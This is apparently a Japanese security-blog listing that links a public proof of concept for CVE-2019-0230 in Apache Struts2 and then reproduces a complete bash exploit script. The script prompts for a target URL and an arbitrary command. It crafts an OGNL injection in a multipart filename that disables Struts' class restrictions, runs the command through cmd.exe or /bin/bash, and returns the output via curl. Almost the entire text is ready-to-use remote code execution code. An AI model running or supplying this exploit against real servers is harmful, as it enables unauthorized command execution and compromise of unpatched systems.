【Exploit Code】
◆CVE-2019-0230 (PrinceFPF, 2020/08/14)
https://github.com/PrinceFPF/CVE-2019-0230
【関連まとめ記事】
◆Exploit Code / PoC (まとめ)
https://malware-log.hatenablog.com/entry/Exploit_Code
#！ /bin/bash eses(){ echo -e " " echo -e " struts2-059 Exploit Poc " echo -e " " echo -e " [2]Struts2-059 " echo -e " > \c " read st2059 case $st2059 in 1) echo -e " > \c " read url echo -e " > \c " read cmd shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; 2) echo -e " > \c " read url1 echo -e " > \c " read cmd2 shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd2"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url1" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; esac } eses
